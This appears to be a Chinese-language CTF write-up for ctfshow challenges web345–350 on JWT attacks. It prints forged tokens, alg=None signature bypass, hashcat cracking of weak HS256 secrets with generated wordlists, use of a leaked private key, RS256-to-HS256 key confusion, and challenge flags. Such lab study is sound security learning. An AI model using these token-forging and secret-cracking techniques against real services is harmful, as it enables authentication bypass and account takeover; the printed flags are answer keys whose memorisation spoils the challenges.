web345-web350Jwt篇
![](https://image.baidu.com/search/down?url=https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2024%2Fjpeg%2F34866087%2F1708192353223-c3fc0efb-5963-4ba4-ad14-c0a4c42c2ec1.jpeg%3Fx-oss-process%3Dimage%2Fresize%2Cw_1280%2Climit_0%2Finterlace%2C1&_r_=72a051f0-4f96-e28b-0838-d1a44d3e2f53)
web345-web350Jwt篇
Natro92知识
jwt格式如下:
1 | header.payload.signature |
Header 通常由两部分组成:token类型和哈希算法,例如:
1
{"typ": "JWT", "alg": "HS256"}
Payload 负载,存放有效信息的地方,比如用户ID,用户名等。它也可以存放私有数据。
Signature 签名,是对前两部分数据签名,防止数据篡改。它由 header 和 payload 使用算法生成,例如 HMAC-SHA256。
1
2
3
4
5
6
7
8标准中注册的声明 (建议但不强制使用)
# iss: jwt签发者
# sub: jwt所面向的用户
# aud: 接收jwt的一方
# exp: jwt的过期时间,这个过期时间必须要大于签发时间
# nbf: 定义在什么时间之前,该jwt都是不可用的
# iat: jwt的签发时间
# jti: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击
web345
源代码/admin
1 | 要注意使用 url 访问网页时 |
cookie中auth:
1 | eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTA0NTAsImV4cCI6MTY5NTI5NzY1MCwibmJmIjoxNjk1MjkwNDUwLCJzdWIiOiJ1c2VyIiwianRpIjoiODQ1YTFjN2Q1ODY5MGQ5MGJiZWJkZjAxNWYxZWFmOTQifV0 |
https://jwt.io/ 直接在线解密:
alg显示没有加密,那就直接将sub中改为admin,再base64加密即可。
前部分:
1 | eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.WwogIHsKICAgICJpc3MiOiAiYWRtaW4iLAogICAgImlhdCI6IDE2OTUyOTExOTYsCiAgICAiZXhwIjogMTY5NTI5ODM5NiwKICAgICJuYmYiOiAxNjk1MjkxMTk2LAogICAgInN1YiI6ICJhZG1pbiIsCiAgICAianRpIjogIjk1Y2U2ZWE1ZmI1MTI0MzQxNzk5YTEwZmM5ZGM3ZTAyIgogIH0KXQ== |
1 | eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3sic3ViIjoiYWRtaW4ifV0 |
如果要有等号需要去掉等号。
这个上面怎么都传不进,看了视频发现,把jwt那个直接在hackbar里面base64decode一下,修改为admin,再base64加密,访问/admin/
即可了:
1 | eyJhbGciOiJOb25lIiwidHlwIjoiand0In0AW3siaXNzIjoiYWRtaW4iLCJpYXQiOjE2OTUyOTIxODksImV4cCI6MTY5NTI5OTM4OSwibmJmIjoxNjk1MjkyMTg5LCJzdWIiOiJhZG1pbiIsImp0aSI6ImNmOGI3YWRmYmU1YTQwZWM1MTVjM2RiZWYxN2Y3MGE3In1d |
web346
解析发现算法为 HS256 ,但是可以通过将算法设定为None来绕过签名。
从上到下依次为修改算法为None, sub改为admin,然后删除签名(signature)。
注意保留jwt最后面的.
1 | GET /admin/ HTTP/1.1 |
ctfshow{b94918f8-a660-4eef-91d3-04e17e3f78da}
web347
这关无法使用绕过,但是它提示说密钥是一个弱口令。
编写一个纯数字字典,如果不行的话再用别的:
1 | with open("dict.txt", "a+") as f: |
然后使用hashcat爆破一下密钥:
1 | hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNTI4MSwiZXhwIjoxNjk4ODMyNDgxLCJuYmYiOjE2OTg4MjUyODEsInN1YiI6InVzZXIiLCJqdGkiOiIzMTYzMTM4YTNkZDFkMjljNWFmMTRlZmU5MTRlYzBmOCJ9.OAWm4kUqDv4Yc6VHgs2UcYgEw-RspCJuZdtAOv5OFh4 ./dict.txt |
密码为123456,然后我们自定义一下:
但是bp这个不可以选择密码,还得用jwt.io来搞:(记得修改sub为admin)
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODgyNjQ4NywiZXhwIjoxNjk4ODMzNjg3LCJuYmYiOjE2OTg4MjY0ODcsInN1YiI6ImFkbWluIiwianRpIjoiNzc0ZjIyNzgzYTJkMzJiYzgyYjhlZDk4YzVkY2FlNDAifQ.aBkzVchQIdrXUdH6HLcEc5Jm-Nq2ve63x7LnsauRkJc |
ctfshow{a3bd8f39-f138-4ec8-a59a-bad1bfeb2591}
web348
爆破,估计有字符了,那就重新再写一个字典。
示例代码如下:
1 | import itertools |
1 | hashcat -a 0 -m 16500 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY5ODg0MTE5MCwiZXhwIjoxNjk4ODQ4MzkwLCJuYmYiOjE2OTg4NDExOTAsInN1YiI6InVzZXIiLCJqdGkiOiJkNTY2Y2I1ZWExNWI0ODRmNzc5ZTBjMDE1ZjEzNTlkMCJ9.5BTUbhRJdFTlDaVlm3Sco8YhpWnkZVAkl30ISvvXjAg dict_alphabet.txt |
密码为aaab 用相同操作进行修改内容即可。ctfshow{6e11c2c1-073f-48d8-8779-e0fae7897081}
web349
有个js页面:
1 | /* GET home page. */ |
信息泄露。
注意这个public是不出现在路由也就是xxxx.com/private.key
1 | -----BEGIN PUBLIC KEY----- |
1 | -----BEGIN RSA PRIVATE KEY----- |
如何做nodejs
https://www.bilibili.com/video/BV1vU4y187HE?p=5&vd_source=9c03c9cbee12e68c0989088a5b2ff127
目标目录下运行
1 | npx express-generator |
替换routes/index.js下的内容
将公钥和私钥放入对应位置.
之前没下过包的需要npm install 一下对应包,比如那些require的内容。
其中fs和jwt需要申明一下变量。jwt(是jsonwebtoken)
这个最后我还是报错,用cyberchef搞得:
ctfshow{f7a45bf3-52c9-4bb7-87bc-ff0c2213a439}
web250
这个题也考JWT的三种常见的攻击方式之一把非对称算法 RS256 改为对称算法 HS256,用泄露的公钥签名数据,服务器尝试用公钥作为 secret 验证签名。也就是CVE-2016-5431漏洞
给定token和key检查是否valid,同时如果有callback将会调用
所以合法的token,在于签名是否合法,而并不取决于之前的签名采用什么样的算法,因为使用何种算法的信息也存在于给定的jwt中
所以只要将公钥修改为对称,然后伪造session
这里想要绕过就只能使用nodejs搭建来做了:
1 | router.get('/', function(req, res, next) { |
注意将公钥文件放在根目录下。